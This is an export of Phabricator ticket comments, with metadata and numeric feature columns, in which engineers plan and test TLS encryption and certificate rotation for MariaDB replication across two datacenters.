Here is a //pretty safe// (IMHO) proposal, if we are //brave// and accept some level of risk we could merge/skip some steps. (I'm not suggesting to do it!)
The only scenario I'm accepting the risk is a local master change in codfw during the preparation, that could be solved or by delaying the puppet run on codfw local masters or adding some additional step.

= Proposal to fix only SSL for cross-DC replicas =

- Preparation
 # Expose Puppet cert to MySQL [TBD on Puppet, needs T124444]
 # Generate a `ca.crt` with both CA pems inside: the current one and the Puppet exposed one [TBD on Puppet]
 # Change `my.cnf` config to use the generated `ca.crt` to validate SSL certs so that both will be accepted. To be done on  both the `[client]` and `[mysqld]` sections [TBD on Puppet]
 # Restart MySQL **ON ONE codfw SLAVE per shard** (still using old cert but accepting both CAs)
 # Promote this SLAVE to be the local master of the shard
- During the planned DC failover to codfw:
 # Restart MySQL with `--skip-slave-start` **ON ONE eqiad SLAVE per shard**
  - `CHANGE MASTER TO MASTER_SSL_CERT=""/path/to/new_cert"", MASTER_SSL_KEY=""/path/to/new_key""` (alternatively could be done by Puppet in the my.cnf if we define a role local master but this would mean coupling cluster topology with Puppet)
  - `START SLAVE`
 # Promote this SLAVE to be the local master of the shard
- During or after the planned DC failover:
 # Restart MySQL replica **ON ALL codfw LOCAL MASTERS**
  - `STOP SLAVE`
  - `CHANGE MASTER TO MASTER_SSL_CERT=""/path/to/new_cert"", MASTER_SSL_KEY=""/path/to/new_key""` (alternatively could be done by Puppet in the my.cnf if we define a role local master but this would mean coupling cluster topology with Puppet)
  - `START SLAVE`

**CONS:**
- Some of those steps needs to be manually redone if we change the topology of local masters
- We still need to perform the full fix before December (expiration date of current certs) because the local masters will still use the old key for the server side

= Proposal to fix SSL on all replicas =

- Preparation
 # Expose Puppet cert to MySQL [TBD on Puppet, needs T124444]
 # Generate a `ca.crt` with both CA pems inside: the current one and the Puppet exposed one [TBD on Puppet]
 # Change `my.cnf` config to use the generated `ca.crt` to validate SSL certs so that both will be accepted. To be done on  both the `[client]` and `[mysqld]` sections [TBD on Puppet]
 # Change `my.cnf` config to use the exposed Puppet cert in both the `[client]` and `[mysqld]` sections **ONLY FOR codfw SERVERS** [TBD on Puppet]
 # Restart MySQL with `--skip-slave-start` on **ALL codfw terminal SLAVES**
  - perform `CHANGE MASTER TO MASTER_SSL_CERT=""/path/to/old_cert"", MASTER_SSL_KEY=""/path/to/old_key""` to use the old `ssl-cert` and `ssl-key`
  - `START SLAVE`
 # Promote one of the slave per shard to be the local master
 # Restart MySQL on the demoted slaves (will use new certs)
 # Restart MySQL Replica on **codfw terminal SLAVES (except demoted ones)**
  - perform `CHANGE MASTER TO MASTER_SSL_CERT="""", MASTER_SSL_KEY=""""` to reset SSL parameters and use the new ones in `my.cnf`
  - `START SLAVE`
 # At this point all codfw infra-DC replicas will be using the new certificate (Puppet one)

- During the planned DC failover to codfw (once we are confident we'll not do an emergency rollback):
 # Change `my.cnf` config to use the exposed Puppet cert in both the `[client]` and `[mysqld]` sections **ALL SERVERS** [TBD on Puppet]
 # Restart MySQL with `--skip-slave-start` on **ALL eqiad terminal SLAVES**
  - `CHANGE MASTER TO MASTER_SSL_CERT=""/path/to/old_cert"", MASTER_SSL_KEY=""/path/to/old_key""` to use the old `ssl-cert` and `ssl-key`
  - `START SLAVE`
 # Promote one of the slave per shard to be the local master
 # Restart MySQL on the demoted slaves (will use new certs) [in this case they will probably need to be re-imaged or upgraded too]
 # Restart MySQL Replica on **eqiad terminal SLAVES (except demoted ones)**
  - `STOP SLAVE`
  - `CHANGE MASTER TO MASTER_SSL_CERT="""", MASTER_SSL_KEY=""""` to reset SSL parameters and use the new ones in `my.cnf`
  - `START SLAVE`

Of course we could do this on a per-shard basis.

@jcrespo what do you think?",,,1457116405,,PHID-USER-qbtoxfmd3v2vpn7foso2,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,35,True,1.2222222222222223,0.0,0.0,1.0,0.3333333333333333,4.333333333333333,1.0,0.2222222222222222,0.0,0.4444444444444444,1.2222222222222223,0.4444444444444444,0.0,0.3333333333333333,0.0,1.2222222222222223,0.1111111111111111,2.4444444444444446,12.333333333333334,0.0,2.888888888888889,0.0,0.2222222222222222,0.0,0.3333333333333333,0.2222222222222222,0.0,0.2222222222222222,0.5555555555555556,1.2222222222222223,0.0,2.7777777777777777,1.0,0.2222222222222222,0.2222222222222222,0.1111111111111111,0.0,0.0,0.5555555555555556,0.2222222222222222,0.0,0.1111111111111111,0.1111111111111111,1.0,0.3333333333333333,0.1111111111111111,0.0,0.1111111111111111,0.1111111111111111,17.444444444444443,0.3333333333333333,0.8888888888888888,0.1111111111111111,0.1111111111111111,0.0,0.0,0.0,0.0,0.1111111111111111,0.0,0.7777777777777778,0.5555555555555556,0.0,0.0,0.0,0.1111111111111111,0.0,6.222222222222222,2.3333333333333335,18.444444444444443,1.4444444444444444,2.5555555555555554,8.88888888888889,0.0,0.0,0.1111111111111111,2.4444444444444446,6.444444444444445,0.0,0.7777777777777778,0.0,1.6666666666666667,12.333333333333334,11.444444444444445,0.1111111111111111,0.0,0.0,1.6666666666666667,0.0,0.3333333333333333,1.1111111111111112,0.0,1.0,0.0,0.0,1.1111111111111112,3.6319205803741883,0.6196305841924399,"MySQL allows also to specify different SSL parameters just for the replica connection from a slave to a master through the CODE syntax, but it doesn't help too much here because is the master CA defined in the CODE is the one that will be used to check that certificate.

Here is a //pretty safe// (IMHO) proposal, if we are //brave// and accept some level of risk we could merge/skip some steps. (I'm not suggesting to do it!)
The only scenario I'm accepting the risk is a local master change in codfw during the preparation, that could be solved or by delaying the puppet run on codfw local masters or adding some additional step.

= Proposal to fix only SSL for cross-DC replicas =

- Preparation
 # Expose Puppet cert to MySQL [TBD on Puppet, needs T124444]
 # Generate a CODE with both CA pems inside: the current one and the Puppet exposed one [TBD on Puppet]
 # Change CODE config to use the generated CODE to validate SSL certs so that both will be accepted. To be done on  both the CODE and CODE sections [TBD on Puppet]
 # Restart MySQL **ON ONE codfw SLAVE per shard** (still using old cert but accepting both CAs)
 # Promote this SLAVE to be the local master of the shard
- During the planned DC failover to codfw:
 # Restart MySQL with CODE **ON ONE eqiad SLAVE per shard**
  - CODE (alternatively could be done by Puppet in the my.cnf if we define a role local master but this would mean coupling cluster topology with Puppet)
  - CODE
 # Promote this SLAVE to be the local master of the shard
- During or after the planned DC failover:
 # Restart MySQL replica **ON ALL codfw LOCAL MASTERS**
  - CODE
  - CODE (alternatively could be done by Puppet in the my.cnf if we define a role local master but this would mean coupling cluster topology with Puppet)
  - CODE

**CONS:**
- Some of those steps needs to be manually redone if we change the topology of local masters
- We still need to perform the full fix before December (expiration date of current certs) because the local masters will still use the old key for the server side

= Proposal to fix SSL on all replicas =

- Preparation
 # Expose Puppet cert to MySQL [TBD on Puppet, needs T124444]
 # Generate a CODE with both CA pems inside: the current one and the Puppet exposed one [TBD on Puppet]
 # Change CODE config to use the generated CODE to validate SSL certs so that both will be accepted. To be done on  both the CODE and CODE sections [TBD on Puppet]
 # Change CODE config to use the exposed Puppet cert in both the CODE and CODE sections **ONLY FOR codfw SERVERS** [TBD on Puppet]
 # Restart MySQL with CODE on **ALL codfw terminal SLAVES**
  - perform CODE to use the old CODE and CODE
  - CODE
 # Promote one of the slave per shard to be the local master
 # Restart MySQL on the demoted slaves (will use new certs)
 # Restart MySQL Replica on **codfw terminal SLAVES (except demoted ones)**
  - perform CODE to reset SSL parameters and use the new ones in CODE
  - CODE
 # At this point all codfw infra-DC replicas will be using the new certificate (Puppet one)

- During the planned DC failover to codfw (once we are confident we'll not do an emergency rollback):
 # Change CODE config to use the exposed Puppet cert in both the CODE and CODE sections **ALL SERVERS** [TBD on Puppet]
 # Restart MySQL with CODE on **ALL eqiad terminal SLAVES**
  - CODE to use the old CODE and CODE
  - CODE
 # Promote one of the slave per shard to be the local master
 # Restart MySQL on the demoted slaves (will use new certs) [in this case they will probably need to be re-imaged or upgraded too]
 # Restart MySQL Replica on **eqiad terminal SLAVES (except demoted ones)**
  - CODE
  - CODE to reset SSL parameters and use the new ones in CODE
  - CODE

Of course we could do this on a per-shard basis.
SCREEN_NAME what do you think?"
621906,Set up TLS for MariaDB replication,"To have MySQL recognize certificates valid from both CAs (current one and new one) we can use on those options:

- Create a certificate file with both CAs pem's `cat ca1.pem ca2.pem > ca-certificates.crt` and use that path in the MySQL option `ssl-ca` both on client and server side
- Put all the CA pem's in a directory and run `c_rehash /path/to/pems` that will generate there the symbolic links and use the MySQL option `ssl-capath` both on client and server side

I've tested it on a local VM with our MariaDB package creating 2 client certs from 2 CAs and trying to connect to MySQL using them.

The good news is that they can coexist and give us the time to roll out the changes.
The bad one is that we need to restart all MySQLs in order to reload the certificates, and we should start from the masters to allow the slaves to connect to them.

See also T127363 in order to choose between `ssl-*` and `loose-ssl-*` options in the client section of the my.cnf.
",,,1456960414,,PHID-USER-qbtoxfmd3v2vpn7foso2,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,34,True,1.0,0.0,0.0,0.0,0.0,3.5,1.0,0.0,0.0,0.0,2.5,0.5,0.0,0.0,0.0,3.0,0.0,1.0,15.0,0.0,4.0,0.5,0.0,0.0,0.0,1.5,0.0,0.0,1.0,0.5,0.5,2.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,1.5,0.0,1.5,0.0,2.5,0.0,0.0,0.0,0.5,0.0,20.5,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,8.5,1.0,13.0,1.0,7.0,11.0,0.0,0.0,0.0,0.0,10.5,0.0,1.5,0.0,5.0,15.0,2.5,0.0,0.0,0.0,5.0,0.0,0.5,1.5,1.5,1.5,0.0,0.0,0.5,3.8043113101903696,0.6243561030235163,"To have MySQL recognize certificates valid from both CAs (current one and new one) we can use on those options:

- Create a certificate file with both CAs pem's CODE and use that path in the MySQL option CODE both on client and server side
- Put all the CA pem's in a directory and run CODE that will generate there the symbolic links and use the MySQL option CODE both on client and server side

I've tested it on a local VM with our MariaDB package creating 2 client certs from 2 CAs and trying to connect to MySQL using them.

The good news is that they can coexist and give us the time to roll out the changes.
The bad one is that we need to restart all MySQLs in order to reload the certificates, and we should start from the masters to allow the slaves to connect to them.

See also T127363 in order to choose between CODE and CODE options in the client section of the my.cnf.
"
580733,Set up TLS for MariaDB replication,"TLS rolled on x1, too, that makes all mediawiki production links.",,,1450378412,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,24,True,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9285714285714284,0.9285714285714286,"TLS rolled on x1, too, that makes all mediawiki production links."
580022,Set up TLS for MariaDB replication,"All the main cross-datacenter links have been switched to TLS (s1-7 and es2-3). As I mentioned before, it will take some time for the changes to be rolled in to all servers.",,,1450292409,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,23,True,7.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,14.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,9.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,5.0,14.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.302325581395349,0.8604651162790697,"All the main cross-datacenter links have been switched to TLS (s1-7 and es2-3). As I mentioned before, it will take some time for the changes to be rolled in to all servers."
577802,Set up TLS for MariaDB replication,">>! In T111654#1844080, @jcrespo wrote:
> Of all ciphers, only a few work:

Nearly all of the not working ones are EC based. Either needing an ECDSA key (you likely didn't create) or using ECDHE. Both need support in the software using libssl, so maybe MariaDB doesn't yet support ECDHE yet?

>```
> NULL-SHA256:
> +---+
> | 1 |
> +---+
> | 1 |
> +---+
> ```

NULL means no encryption and no authentication. That should not work. There might be a few other ciphers that should not work.

> 
> I have not yet found a reason, but it could be because [[ https://mariadb.atlassian.net/browse/MDEV-8444 | a bug on MariaDB ]] 

Unlikely. Did you enable fips=1 when building?

> or a poorly created ca/key (this was using the test ca and certificates, so no proper hostnames, etc.).

Unlikely, except as said above that RSA keys only support RSA cipers and ECDSA only ECDSA ciphers (I think there are dual keys).

For this type of usage EC based ciphers are not important, for now.",,,1449895236,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,23,True,1.0,0.0,0.0,0.0,3.5,4.5,1.0,0.0,0.0,0.0,1.0,1.0,0.0,2.0,1.0,0.5,0.0,9.0,5.5,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.5,0.5,0.0,0.5,5.0,1.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,1.0,0.0,0.0,0.0,0.5,0.0,12.0,0.5,1.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,2.0,0.0,0.5,0.0,0.5,0.0,2.0,2.5,16.5,1.5,2.5,6.0,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,2.5,5.5,7.0,1.0,0.0,0.0,2.5,0.0,1.5,1.0,0.0,2.5,0.0,0.0,0.0,3.855072463768116,0.7463768115942029,"QUOTE
QUOTE

Nearly all of the not working ones are EC based. Either needing an ECDSA key (you likely didn't create) or using ECDHE. Both need support in the software using libssl, so maybe MariaDB doesn't yet support ECDHE yet?

QUOTE

NULL means no encryption and no authentication. That should not work. There might be a few other ciphers that should not work.

QUOTE
QUOTE

Unlikely. Did you enable fips=1 when building?

QUOTE

Unlikely, except as said above that RSA keys only support RSA cipers and ECDSA only ECDSA ciphers (I think there are dual keys).

For this type of usage EC based ciphers are not important, for now."
577565,Set up TLS for MariaDB replication,"Enwiki channel (s1) is now also encrypted, using db1057 as a bridge. I am also testing ROW based replication on codfw, but that is out of the scope of this ticket.",,,1449868747,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,23,True,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,8.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,16.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,8.0,8.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,14.0,8.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,3.5945945945945947,0.8648648648648649,"Enwiki channel (s1) is now also encrypted, using db1057 as a bridge. I am also testing ROW based replication on codfw, but that is out of the scope of this ticket."
576546,Set up TLS for MariaDB replication,"External storage link has been encrypted, that makes 2 out of the 14 cross-datacenter links using TLS now.

I am using it but not enforcing it at user level to make sure it can be reverted in case a problem appears.",,,1449764780,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,23,True,0.0,0.0,0.0,4.0,2.0,11.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,9.0,0.0,6.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,6.0,6.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,9.0,11.0,2.0,0.0,0.0,0.0,9.0,0.0,2.0,2.0,0.0,6.0,0.0,0.0,0.0,3.74468085106383,0.9148936170212766,"External storage link has been encrypted, that makes 2 out of the 14 cross-datacenter links using TLS now.

I am using it but not enforcing it at user level to make sure it can be reverted in case a problem appears."
572050,Set up TLS for MariaDB replication,"Change 256648 merged by Jcrespo:
Enable TLS by default on all core mysql hosts

[[https://gerrit.wikimedia.org/r/256648]]",,,1449137067,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,22,True,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,14.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.727272727272727,0.8636363636363636,"Change 256648 merged by Jcrespo:
Enable TLS by default on all core mysql hosts

[[GERRIT_URL]]"
572028,Set up TLS for MariaDB replication,"Change 256648 had a related patch set uploaded (by Jcrespo):
Enable TLS by default on all core mysql hosts

[[https://gerrit.wikimedia.org/r/256648]]
",,,1449134736,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,22,True,3.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,10.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.6551724137931036,0.8620689655172413,"Change 256648 had a related patch set uploaded (by Jcrespo):
Enable TLS by default on all core mysql hosts

[[GERRIT_URL]]
"
571634,Set up TLS for MariaDB replication,"Replication is ready, we only need to:

* Set SSL => 'on' puppet and restart all servers to apply the config changes (we will set it on the role once it has been applied everywhere)
* stop replication, add REQUIRE SSL to the replication user and perform a change master on all slaves (it doesn't have to be done simultaneously, it can be set optional until all slaves are ready)

We will probably not restart the masters any time soon, until we can perform other maintenance at the same time (upgrade, switch to row replication, etc.), so we will have to create an extra hop through one of eqiad slaves. This may make more complex T119642, but that could wait until the failover.

For long term tasks:
* Monitor the ssl expiration
* Several configuration changes in terms of cipher, expiration, validation, no-wildcard certificate, buying a non-self-ca cert, etc. that do not compromise the security of the setup
* Monitoring
",,,1449084907,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,21,True,1.6666666666666667,0.0,0.0,1.0,1.0,4.333333333333333,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,1.0,0.0,0.3333333333333333,0.0,1.6666666666666667,0.3333333333333333,3.6666666666666665,7.333333333333333,0.0,1.6666666666666667,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.3333333333333333,1.0,0.0,2.3333333333333335,0.0,1.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.6666666666666666,3.6666666666666665,0.0,0.6666666666666666,0.0,0.0,0.0,11.333333333333334,1.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,1.0,0.0,0.0,0.0,0.0,0.0,4.666666666666667,1.6666666666666667,4.666666666666667,0.3333333333333333,1.0,7.333333333333333,0.0,0.0,0.0,0.0,6.333333333333333,0.0,0.3333333333333333,0.0,3.0,7.333333333333333,2.6666666666666665,0.0,0.6666666666666666,0.0,3.0,0.0,0.3333333333333333,1.0,0.0,0.3333333333333333,0.3333333333333333,0.0,2.0,3.813579163008487,0.7437079309335674,"Replication is ready, we only need to:

* Set SSL => 'on' puppet and restart all servers to apply the config changes (we will set it on the role once it has been applied everywhere)
* stop replication, add REQUIRE SSL to the replication user and perform a change master on all slaves (it doesn't have to be done simultaneously, it can be set optional until all slaves are ready)

We will probably not restart the masters any time soon, until we can perform other maintenance at the same time (upgrade, switch to row replication, etc.), so we will have to create an extra hop through one of eqiad slaves. This may make more complex T119642, but that could wait until the failover.

For long term tasks:
* Monitor the ssl expiration
* Several configuration changes in terms of cipher, expiration, validation, no-wildcard certificate, buying a non-self-ca cert, etc. that do not compromise the security of the setup
* Monitoring
"
571252,Set up TLS for MariaDB replication,"Of all ciphers, only a few work:


```
for cipher in ECDHE-RSA-AES256-GCM-SHA384 ECDHE-ECDSA-AES256-GCM-SHA384 ECDHE-RSA-AES256-SHA384 ECDHE-ECDSA-AES256-SHA384 DHE-DSS-AES256-GCM-SHA384 DHE-RSA-AES256-GCM-SHA384 DHE-RSA-AES256-SHA256 DHE-DSS-AES256-SHA256 ADH-AES256-GCM-SHA384 ADH-AES256-SHA256 ECDH-RSA-AES256-GCM-SHA384 ECDH-ECDSA-AES256-GCM-SHA384 ECDH-RSA-AES256-SHA384 ECDH-ECDSA-AES256-SHA384 AES256-GCM-SHA384 AES256-SHA256 ECDHE-RSA-AES128-GCM-SHA256 ECDHE-ECDSA-AES128-GCM-SHA256 ECDHE-RSA-AES128-SHA256 ECDHE-ECDSA-AES128-SHA256 DHE-DSS-AES128-GCM-SHA256 DHE-RSA-AES128-GCM-SHA256 DHE-RSA-AES128-SHA256 DHE-DSS-AES128-SHA256 ADH-AES128-GCM-SHA256 ADH-AES128-SHA256 ECDH-RSA-AES128-GCM-SHA256 ECDH-ECDSA-AES128-GCM-SHA256 ECDH-RSA-AES128-SHA256 ECDH-ECDSA-AES128-SHA256 AES128-GCM-SHA256 AES128-SHA256 NULL-SHA256; do
    echo ""$cipher:""
    mysql --ssl-ca=/etc/mysql/ssl/cacert.pem --ssl-cipher=$cipher -e ""SELECT 1""
done

ECDHE-RSA-AES256-GCM-SHA384:
ERROR 2026 (HY000): SSL connection error: error:14077410:SSL routines:SSL23_GET_SERVER_HELLO:sslv3 alert handshake failure
ECDHE-ECDSA-AES256-GCM-SHA384:
ERROR 2026 (HY000): SSL connection error: error:14077410:SSL routines:SSL23_GET_SERVER_HELLO:sslv3 alert handshake failure
ECDHE-RSA-AES256-SHA384:
ERROR 2026 (HY000): SSL connection error: error:14077410:SSL routines:SSL23_GET_SERVER_HELLO:sslv3 alert handshake failure
ECDHE-ECDSA-AES256-SHA384:
ERROR 2026 (HY000): SSL connection error: error:14077410:SSL routines:SSL23_GET_SERVER_HELLO:sslv3 alert handshake failure
DHE-DSS-AES256-GCM-SHA384:
ERROR 2026 (HY000): SSL connection error: error:14077410:SSL routines:SSL23_GET_SERVER_HELLO:sslv3 alert handshake failure
DHE-RSA-AES256-GCM-SHA384:
+---+
| 1 |
+---+
| 1 |
+---+
DHE-RSA-AES256-SHA256:
+---+
| 1 |
+---+
| 1 |
+---+
DHE-DSS-AES256-SHA256:
ERROR 2026 (HY000): SSL connection error: error:14077410:SSL routines:SSL23_GET_SERVER_HELLO:sslv3 alert handshake failure
ADH-AES256-GCM-SHA384:
+---+
| 1 |
+---+
| 1 |
+---+
ADH-AES256-SHA256:
+---+
| 1 |
+---+
| 1 |
+---+
ECDH-RSA-AES256-GCM-SHA384:
ERROR 2026 (HY000): SSL connection error: error:14077410:SSL routines:SSL23_GET_SERVER_HELLO:sslv3 alert handshake failure
ECDH-ECDSA-AES256-GCM-SHA384:
ERROR 2026 (HY000): SSL connection error: error:14077410:SSL routines:SSL23_GET_SERVER_HELLO:sslv3 alert handshake failure
ECDH-RSA-AES256-SHA384:
ERROR 2026 (HY000): SSL connection error: error:14077410:SSL routines:SSL23_GET_SERVER_HELLO:sslv3 alert handshake failure
ECDH-ECDSA-AES256-SHA384:
ERROR 2026 (HY000): SSL connection error: error:14077410:SSL routines:SSL23_GET_SERVER_HELLO:sslv3 alert handshake failure
AES256-GCM-SHA384:
+---+
| 1 |
+---+
| 1 |
+---+
AES256-SHA256:
+---+
| 1 |
+---+
| 1 |
+---+
ECDHE-RSA-AES128-GCM-SHA256:
ERROR 2026 (HY000): SSL connection error: error:14077410:SSL routines:SSL23_GET_SERVER_HELLO:sslv3 alert handshake failure
ECDHE-ECDSA-AES128-GCM-SHA256:
ERROR 2026 (HY000): SSL connection error: error:14077410:SSL routines:SSL23_GET_SERVER_HELLO:sslv3 alert handshake failure
ECDHE-RSA-AES128-SHA256:
ERROR 2026 (HY000): SSL connection error: error:14077410:SSL routines:SSL23_GET_SERVER_HELLO:sslv3 alert handshake failure
ECDHE-ECDSA-AES128-SHA256:
ERROR 2026 (HY000): SSL connection error: error:14077410:SSL routines:SSL23_GET_SERVER_HELLO:sslv3 alert handshake failure
DHE-DSS-AES128-GCM-SHA256:
ERROR 2026 (HY000): SSL connection error: error:14077410:SSL routines:SSL23_GET_SERVER_HELLO:sslv3 alert handshake failure
DHE-RSA-AES128-GCM-SHA256:
+---+
| 1 |
+---+
| 1 |
+---+
DHE-RSA-AES128-SHA256:
+---+
| 1 |
+---+
| 1 |
+---+
DHE-DSS-AES128-SHA256:
ERROR 2026 (HY000): SSL connection error: error:14077410:SSL routines:SSL23_GET_SERVER_HELLO:sslv3 alert handshake failure
ADH-AES128-GCM-SHA256:
+---+
| 1 |
+---+
| 1 |
+---+
ADH-AES128-SHA256:
+---+
| 1 |
+---+
| 1 |
+---+
ECDH-RSA-AES128-GCM-SHA256:
ERROR 2026 (HY000): SSL connection error: error:14077410:SSL routines:SSL23_GET_SERVER_HELLO:sslv3 alert handshake failure
ECDH-ECDSA-AES128-GCM-SHA256:
ERROR 2026 (HY000): SSL connection error: error:14077410:SSL routines:SSL23_GET_SERVER_HELLO:sslv3 alert handshake failure
ECDH-RSA-AES128-SHA256:
ERROR 2026 (HY000): SSL connection error: error:14077410:SSL routines:SSL23_GET_SERVER_HELLO:sslv3 alert handshake failure
ECDH-ECDSA-AES128-SHA256:
ERROR 2026 (HY000): SSL connection error: error:14077410:SSL routines:SSL23_GET_SERVER_HELLO:sslv3 alert handshake failure
AES128-GCM-SHA256:
+---+
| 1 |
+---+
| 1 |
+---+
AES128-SHA256:
+---+
| 1 |
+---+
| 1 |
+---+
NULL-SHA256:
+---+
| 1 |
+---+
| 1 |
+---+
```

I have not yet found a reason, but it could be because [[ https://mariadb.atlassian.net/browse/MDEV-8444 | a bug on MariaDB ]] or a poorly created ca/key (this was using the test ca and certificates, so no proper hostnames, etc.). It is not high priority, because the default being used `DHE-RSA-AES256-GCM-SHA384` was among the ""strong"" recommended by @Dzahn.",,,1449045755,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,21,True,6.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,19.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,13.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.5483870967741935,0.8064516129032258,"Of all ciphers, only a few work:


``CODE`CODEDHE-RSA-AES256-GCM-SHA384` was among the ""strong"" recommended bySCREEN_NAME."
